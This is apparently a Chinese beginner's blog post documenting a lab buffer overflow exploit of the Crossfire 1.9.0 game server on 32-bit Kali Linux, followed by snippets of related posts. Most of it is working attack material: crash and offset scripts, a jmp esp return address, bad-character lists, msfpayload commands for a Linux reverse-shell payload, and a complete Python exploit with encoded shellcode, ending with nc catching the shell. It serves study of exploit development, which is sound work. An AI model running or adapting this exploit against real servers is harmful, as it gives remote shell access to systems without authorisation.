1. 程式人生 > >小白日記18:kali滲透測試之緩衝區溢位例項(二)--Linux,穿越火線1.9.0

小白日記18:kali滲透測試之緩衝區溢位例項(二)--Linux,穿越火線1.9.0

Linux系統下穿越火線-緩衝區溢位

原理:crossfire 1.9.0 版本接受入站 socket 連線時存在緩衝區溢位漏洞。

工具:

除錯工具:edb;

###python在漏洞溢位方面的滲透測試和漏洞攻擊中,具有很大的優勢

實驗物件:crossfire【多人線上RPG遊戲】

執行平臺:Kali i686 虛擬機器【32位,計算機CPU位數是指地址匯流排位數,64位系統的定址空間為2^64,定址過大,難以處理,為了簡化本章操作,所以選用32位】

搭建實驗環境

#linux中,遊戲需安裝帶其game資料夾

伺服器端程式

[email protected]:~# cd \Desktop
[email protected]
:~/Desktop# ls crossfire.tar.gz [email protected]:~/Desktop# mv crossfire.tar.gz /usr/games [email protected]:~/Desktop# cd /usr/games/ [email protected]:/usr/games# ls crossfire.tar.gz [email protected]:/usr/games# tar zxpf crossfire.tar.gz [email protected]:/usr/games# ls -lh total 4.8M drwxr-xr-x 8 root root 4.0K Feb 10 2010 crossfire -rwxrwx--- 1 root root 4.8M Aug 30 05:16 crossfire.tar.gz
[email protected]
:/usr/games# cd crossfire/ [email protected]:/usr/games/crossfire# cd bin/ [email protected]:/usr/games/crossfire/bin# ls crossedit crossfire-config crossloop.pl player_dl.pl crossfire crossloop crossloop.web [email protected]:/usr/games/crossfire/bin#
#若出現缺少什麼元件,可以相應去安裝一下,只要看到出現waiting for connect,則基本沒問題
檢視埠開放情況【13327】
[email protected]:~# netstat -pantu
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:13327           0.0.0.0:*               LISTEN      4147/./crossfire    
udp        0      0 0.0.0.0:68              0.0.0.0:*                           629/dhclient        
除錯工具


###也可用命令列來開啟

新版本Linux核心支援記憶體保護機制

DEP、ASLR、堆疊cookies、堆疊粉碎

本機除錯【防止在滲透測試過程中的非法網路訪問,以防被黑客入侵電腦】

iptables -A INPUT -p tcp --destination-port 13327 \! -d 127.0.0.1 -j DROP #只有通過本機訪問本地網絡卡的13327

iptables -A INPUT -p tcp --destination-port 4444 \! -d 127.0.0.1 -j DROP   #只有通過本機訪問本地網絡卡4444

[email protected]:~# iptables -A INPUT -p tcp --destination-port 13327 \! -d 127.0.0.1 -j DROP
[email protected]:~# iptables -A INPUT -p tcp --destination-port 4444 \! -d 127.0.0.1 -j DROP
[email protected]:~# iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination         
DROP       tcp  --  anywhere            !localhost            tcp dpt:13327
DROP       tcp  --  anywhere            !localhost            tcp dpt:4444

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination         

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination         
[email protected]:~# 

除錯工具

使用edb除錯工具啟動服務進行除錯

edb --run /usr/games/crossfire/bin/crossfire


#需要重複點選兩個Debug->run


檢視EIP等暫存器地址,需要雙擊


01.py
#!/usr/bin/python

import socket

host = "127.0.0.1"
crash = "\x41" * 4379           ###crossfire必須在傳送數值大小在一個固定數值的時候才能發生緩衝區溢位,只有當傳送4379字元時,才能精確到溢位位置###
buffer = "\x11(setup sound " +crash+ "\x90\x90#)"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host,1327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent!"
edb中一旦緩衝區溢位發生,無法進行下一條指令,會有告警彈窗


可確認存在緩衝區溢位漏洞


#通過修改傳送“A”的數值,可驗證只有當字元數量為4379才能精確修改EIP暫存器

唯一字串精確定位EIP位置
/usr/share/metasploit-‐framework/tools/exploit/pattern_create.rb 4379
將唯一字串新增到02.py

雙擊EIP


使用./pattren_offset.rb計算偏移量


則4368後四個字元為EIP地址

驗證位置03.py



檢視ESP資料部分Fellow in Dump


###因為ESP只能添7個字元才能精確修改EIP,所以shellcode不能放在ESP暫存器中。因此在剩下的暫存器中尋找

逐個查詢,發現EAX可用


【因為setup sound為伺服器指令,所以前十二個字元須先發送setup sound】

存在一個理論,直接在EAX的地址上加上12,可實現跳轉,但是很大可能換一臺機器後可能無法實現溢位,因為不同系統的EAX地址可能不一樣

思路:【需考慮普適性】

第一階段shellcode:從ESP【7個位元組】 跳轉到 EAX,在ESP中實現偏移12位字元


###一個5個位元組,足夠插進ESP中,實現跳轉到EAX

\x83\xc0\x0c\xff\xe0\x90\x90      #\x90:跳轉字元,防止被過濾【計算機讀入資料順序與人類閱讀順序相反】

04.py

檢視ESP


#因為ESP的記憶體地址也不是固定的,所以需在系統中尋找固定跳轉模組

定址

利用edb中的外掛Opcode search


使用第一個程序08048000,只要程式在執行,這個程序將一直存在,可以用於尋找jmp esp


###EIP->jmp ESP->ESP->EAX

查詢壞字元

###\x00\x0a\x0d\x20

將256個編碼放進指令碼中逐一查詢

設定斷點(0x08134597)

EIP——08134597

則EIP跳轉地址為

crash = "\x41" * 4368 + "\x97\x45\x13\x08"【EIP】 + "\x83\xc0\x0c\xff\xe0\x90\x90"【EAX】

04+.py


設定斷點


->執行[F9]


按F8執行下一步


再按F8就跳入ESP暫存器

將4368個字元中,替換成shellcode,剩餘位繼續填充”A“【需計算shellcode字元數量】

生成shellcode姿勢

[email protected]:/usr/share/framework2# ./msfpayload linux_ia32_reverse LHOST=127.0.0.1 LPORT=4444 R | ./msfencode -b "\x00\x0a\x0d\x20"

注:在生成shellcode時,如果生成的shellcode不正確,可通過重啟,解決
#!/usr/bin/python

import socket

host = "127.0.0.1"

shellcode = (
"\xbb\x6d\x65\x9b\xcd\xdb\xdd\xd9\x74\x24\xf4\x5f\x2b\xc9"+
"\xb1\x14\x83\xc7\x04\x31\x5f\x10\x03\x5f\x10\x8f\x90\xaa"+
"\x16\xb8\xb8\x9e\xeb\x15\x55\x23\x65\x78\x19\x45\xb8\xfa"+
"\x01\xd4\x10\x92\xb7\xe8\x85\x3e\xd2\xf8\xf4\xee\xab\x18"+
"\x9c\x68\xf4\x17\xe1\xfd\x45\xac\x51\xf9\xf5\xca\x58\x81"+
"\xb5\xa2\x05\x4c\xb9\x50\x90\x24\x85\x0e\xee\x38\xb0\xd7"+
"\x08\x50\x6c\x07\x9a\xc8\x1a\x78\x3e\x61\xb5\x0f\x5d\x21"+
"\x1a\x99\x43\x71\x97\x54\x03")

crash = shellcode + "A"*(4368-105) + "\x97\x45\x13\x08" + "\x83\xc0\x0c\xff\xe0\x90\x90"
buffer = "\x11(setup sound " +crash+ "\x90\x90#)"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host,13327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent!"

#開啟偵聽4444埠【當有人連線4444的時候,則getshell】

nc  127.0.0.1 4444 ###獲得shell

小白日記,未完待續……

相關推薦

日記18kali滲透測試緩衝區溢位例項)--Linux穿越火線1.9.0

Linux系統下穿越火線-緩衝區溢位 原理:crossfire 1.9.0 版本接受入站 socket 連線時存在緩衝區溢位漏洞。 工具: 除錯工具:edb; ###python在漏洞溢位方面的滲透

日記8kali滲透測試主動資訊收集)三層發現ping、traceroute、scapy、nmap、fping、Hping

 三層發現 三層協議有:IP以及ICMP協議(internet管理協議).icmp的作用是用來實現intenet管理的,進行路徑的發現,網路通訊情況,或者目標主機的狀態;在三層發現中主要使用icmp協

日記36kali滲透測試Web滲透-手動漏洞挖掘)-突破身份認證,作業系統任意命令執行漏洞

手動漏洞挖掘 ###################################################################################### 手動漏洞挖掘

日記10kali滲透測試埠掃描-UDP、TCP、殭屍掃描、隱蔽掃描

埠掃描 二三四層發現的目的只是為了準確發現所有活著主機IP,確定攻擊面,埠掃描即發現攻擊點,發現開放埠。埠對應網路服務及應用端程式,服務端程式的漏洞通過埠攻入。【所有的掃描結果,都不要完全相信】 一

日記30kali滲透測試Web滲透-掃描工具-Skipfish

WEB滲透-skipfish Skipfish是一個命令列模式,以C語言編寫的積極的Web應用程式的安全性偵察工具,沒有代理模式。 它準備了一個互動為目標的網站的站點地圖進行一個遞迴爬網和基於字典的探

日記11kali滲透測試服務掃描-banner、dmitry、nmap特徵庫、作業系統識別、SNMP

<strong>[email protected]:~# xprobe2 192.168.1.115 </strong> Xprobe2 v.0.3 Copyright (c) 2002-2005 [email protected], [email pro

日記29kali滲透測試Web滲透-掃描工具-Vega

WEB掃描工具-Vega  純圖形化介面,Java編寫的開源web掃描器。兩種工作模式:掃描模式和代理模式【主流掃描功能】。用於爬站。處理表單,注入測試等。支援SSL:http://vega/ca.c

日記12kali滲透測試服務掃描)-SMB掃描

SMB掃描 Server Message Block 協議。與其他標準的TCP/IP協議不同,SMB協議是一種複雜的協議,因為隨著Windows計算機的開發,越來越多的功能被加入到協議中去了,很難區分哪些概念和功能應該屬於Windows作業系統本身,哪些概念應該屬於SMB

日記20kali滲透測試之後滲透測試階段一)--上傳工具

後滲透測試階段--上傳工具 為防止管理員將漏洞補上後,我們無法再通過該漏洞控制對方主機,所以需要進行後滲透測試階段 1、上傳各種工具 2、提權:為了全面控制目標系統 3、擦除攻擊痕跡:防止管理員通過

不測的祕密精準測試路----讀書筆記第一章)

一、舉步維艱 1、敏捷轉型:測試眼中的研發 傳統: 需求是清晰的 流程是固化的 開發是有序的 系統是可測的 測試時間是充足的 使用者是講道理的 敏捷: 需求頻繁更改 交付問題多 測試時間緊 使用者抱怨多 開發延遲,壓縮測試時間,已成常態 那麼

不測的祕密精準測試路----讀書筆記第二章)

二:道與術 1、程式碼分析 解決:如何在保證質量前提下,縮減迴歸測試範圍 why:瞭解其內部實現,讓測試變得更精準白盒測試優勢:對程式內部實現的瞭解;   黑盒測試優勢:對使用者場景的把握   2、測試分析理論由來    黑白測試核心思想: 白盒:

不測的祕密精準測試路----讀書筆記第三章)

三、精準化測試第一式:差異化 關注實現,明確測試物件,指哪打哪 尋找測試物件差異,尋找最小精準測試物件    測試物件:指測試的源程式、目標程式、資料和相關文件   精準測試物件:迭代之間的差異部分(需求差異、技術實現上的差異)、差異部分影響的其他功能

不測的祕密精準測試路----讀書筆記第四章)

四、精準化測試第二式:技術治理 1、技術耦合(由強到弱) 內容耦合 *  一個模組直接訪問另一個模組的內部資料 *  一個模組不通過正常入口轉到另一模組內部 *  兩個模組有一部分程式程式碼重疊(只可能出現在組合語言中) * &nbs

不測的祕密精準測試路----讀書筆記第五章)

五、精準化測試第三式:度量和分析閉環 1、如何衡量測試精準度:初步想法用程式碼覆蓋率來體現 程式碼覆蓋率:用來衡量程式碼被覆蓋程度的一種度量方式 語句覆蓋:度量被測程式碼中每個可執行語句是否執行到了 判定覆蓋:度量程式中每一個判定的分支(分支真、假)是否都被執行到了

滲透測試DVWA暴力破解LOW)

     Brute Force,即暴力(破解),是指黑客利用密碼字典,使用窮舉法猜解出使用者口令,是現在最為廣泛使用的攻擊手法之一,  先放出伺服器端核心程式碼 <?php if(isset($_GET['Login'])){ //Getusername $us

android自動化測試MonkeyRunner使用例項三)

一、使用CMD命令開啟模擬器 執行monkeyrunner之前必須先執行相應的模擬器或連上裝置,不然monkeyrunner無法連線裝置。 1.1  用Elipse開啟Android模擬器或在CMD中用Android命令開啟模擬器。 1.2  這裡重點講一下在CMD

福利貼18個Python爬蟲實戰案例已開源)

加qq群813622576或vx:tanzhouyiwan免費獲取Python視訊教程以及各類PDF! 爬蟲小工具 downloader.py:檔案下載小助手 一個可以用於下載圖片、視訊、檔案的小工具,有下載進度顯示功能。稍加修改即可新增到自己的爬蟲中。 動

必看測試人有必要參考的軟體測試工作規範

小白必看:測試人有必要參考的軟體測試工作規範        為了規範測試工作、減少開發與測試之前的溝通成本、保證專案進度、提高軟體質量,測試人員有必要參考這份軟體測試工作規範。1.1. 編碼規範  軟體程式開發需要遵守編碼規範,一是可以減少程式碼的維護成本,提高

工具推薦DradisKali滲透測試報告生成器

滲透測試報告是任何安全評估活動 中的 關鍵可交付成果。滲透測試中 , 最終可交付成果是 一份報告,展示了所提供的服務, 使用的方法 , 發現的結果和建議。 許多滲透測試人員發現 報告的製作是 一個無聊的過程 , 因為它需要大量的時間和精力。在本文中 , 我們將討論

kali滲透測試工具Crunch

Crunch是一種建立密碼字典工具,該字典通常用於暴力破解。使用Crunch工具生成的密碼可以傳送到終端、檔案或另一個程式。下面將介紹使用Crunch工具建立密碼字典。 crunch命令常用的選項如下所示。 •-o:用於指定輸出字典檔案的位置。 •-b:指定寫入檔案最大的位